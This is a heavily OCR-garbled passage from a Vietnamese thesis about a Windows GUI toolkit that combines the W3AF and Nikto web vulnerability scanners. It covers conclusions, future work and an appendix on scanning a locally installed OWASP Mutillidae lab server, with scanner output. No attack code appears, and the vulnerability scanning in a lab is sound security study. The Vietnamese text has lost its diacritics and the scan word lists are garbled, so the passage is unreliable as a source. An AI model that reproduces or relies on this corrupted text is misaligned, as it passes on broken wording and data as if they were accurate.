web, cac ki thuat tan cong web ciing nhu cach ngan chan, céc cdng cu bao mat hién
nay... ma con xay dung duoc mot bo cong cu c6 thé thuc hién cong viée quét cac
thdng tin mang va cac 16 hong bao mat cho hé théng website, ma lai khong phai tén
cong tim kiém, thir nghiém timg loai cong cu xem c6 phii hop hay khéng. Thém vao
d6, do d c6 céac giao dién diéu khién cho cac chuong trinh dugc tich hop cling bo
cong cu, nén ngudi dung khdng phai mat thoi gian tim hiéu cac huéng dan sir dung
dé co6 thé sir dung thanh thao cac chwong trinh.

Bo cong cu nay dugc tich hop tir cc cong cu ma ngudén ma, diéu nay gidp
nha quan tri khong phai ton chi phi cho viéc mua ban quyén, dong thoi dé sir dung
do chay trén hé diéu hanh quen thudc 1a Hé diéu hanh Windows.

Thém vao d6 do tinh chat ciia m& nguén md nén cac cong cu s& ngdy cang
phét trién do c6 mot cong dong dong dao.

Tuy nhién, bén canh nhimg gi dat dugc, b cong cu van con mot sb mit han
ché nhu: Giao dién cho cac chuong trinh con don gian, chua thé thuc hién dugc hét
c4c tly chon trén giao dién, thoi gian dé chuong trinh xir 1y, tong hop két qua con
dai, lugng thong tin thu thap dugc qua cac qua trinh quét chua nhiéu, bd cong cu
tich hop it chuong trinh va chua day da hét cac tinh nang can cho viéc quét mot hé

thdng 16n, chua tan dung duoc hét cac tly chon ciia cac chwong trinh...

5.2 Huéng phat trién

Trong tuong lai, dé khac phuc nhiing khuyét diém trén, can trao ddi nhiéu
hon vé kién thirc an ninh mang dé c6 thé danh gia chinh xac hon vé cac chuong
trinh quét, tham khao cac cong trinh khoa hoc vé bao mat, cong cu quét tién tién
hon. Tir d6, dua ra giai phap cho timg 16 hong trén hé thong,

Tinh chinh lai chuong trinh nham giam thiéu thoi gian thyc thi, tai nguyén

may tinh khi quét.
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Tich hop nhiéu hon cong cu dé danh gia chinh xac hon vé hé thong mang cia
co quan ma chuong trinh thye hién quét.

Xay dung tir dién 16 hong bao mat dé nguoi dung truy cdp vao xem céch
khic phuc ciia 16 hong ma minh gip phai.

Xay dung chwong trinh khéng nhiing cd thé thyc thi trén moi trudng window
va nhiéu méi trudng khac.

Tich hop chuong trinh vao mot Website cu thé, c6 phan quyén cho nguoi

dung.
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PHU LUC
(HUONG DAN CAI BAT VA SU DUNG)

- Trudc tién, dé gia lap server bi tan cong, cai mutillidae trén may cuc bo (server la
XAMPP hay Apache...), dia chi s& la 127.0.0.1/mutillidae

§ 127.00./mutilidae/ x
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m

C [ 127.0.0.1/mutillidae/

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security Enforce SSL  ResetDB  View Log View Captured Data

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application )
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Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security Enforce SSL  ResetDB  View Log View Captured Data

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application )
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- Giao dién chinh khi chay chuong trinh, nhap dia chi 127.0.0.1/mutillidae trén
URL, sau d6 chon cong cu dé quét:



|E.=::E. LUAN VAN TOT NGHIEP

Nhap dia chi: 127.0.0.1/mutillidae

- Chuong trinh dang quét bang W3AF:

= W3AF

Biachi  hitp://127.0.0.1/mutillidae/

Ty chon Ty chon nhanh
Audit: ] Al BruteForce: [ Al
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Két qua:
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NIKTO
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W3AF Nikto 2 cbng cu
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- Chuong trinh dang quét bang Nikto (c6 thé tly chon xuat két qua dang HTML

hoac dang text):




06/03/16 15:48:48 -information
06/03/16 15:48:48 -information
06/03/16 15:48:48 -information
06/03/16 15:48:48 - information
06/03/16 15:48:48 -information
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(2] Info with 140 repettions
3] Lookup with 116 repetitions
4] Injection with 100 repettions.
] Viewer with 80 repettions.

- [E] Test wih 64 repetiions

- [7] XPath wih 60 repetitions:

- [£] Deta with 56 repetitions

- [9] Storage with 56 repetions
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- [18] your with 36 repeitions.

- [15] Document wih 32 repetiions.
- [20] Text with 32 repeitions

[21] JavaSaript with 32 repettions
[22] Register with 32 repettions
[23] Capture with 32 repettions
[24] Arbierary with 28 repettions
[25] HTTP with 28 repettions.
[26] HTML with 28 repetiions

- [27] Validator with 28 repeitions.
- [28] Service wih 28 repetiions

- [25] Site with 28 repettions.

- [30] Browser with 24 repettions

- [31] blyAdmin with 24 repettions
- [32] Generator with 24 repeitions

) . — Xut kt qua dang HTML
Biachi  127.0.0.1/mutillidae e
QUET
127.0.0.1 / 127.0.0.1 port 80 E
Target IP 127.0.0.1
Target hostname 127.0.0.1
Target Port 80
HTTP Server Apache/2.2.3 (Win32) PHP/5.2.0
Site Link (Name) http://127.0.0.1:80/mutilidae
Site Link (IP) http://127.0.0.1:80/mutilidae
URI [mutilidae/mutilidas/
HTTP Method GET
Description Cookie PHPSESSID created without the httponly flag
Test Links http://127.0.0.1:80/mutilidae/mutlidae/
http://127.0.0.1:80/mutilidae/mutlidae/
OSVDB Entries OSVDB-0
L luRT mutilidae/mutilidae/ ¥
- Két qua khi quét ket hop ca hai cong cu:
agl Combine = B
Biachi: [127.0.0.1/mutlidas QUET
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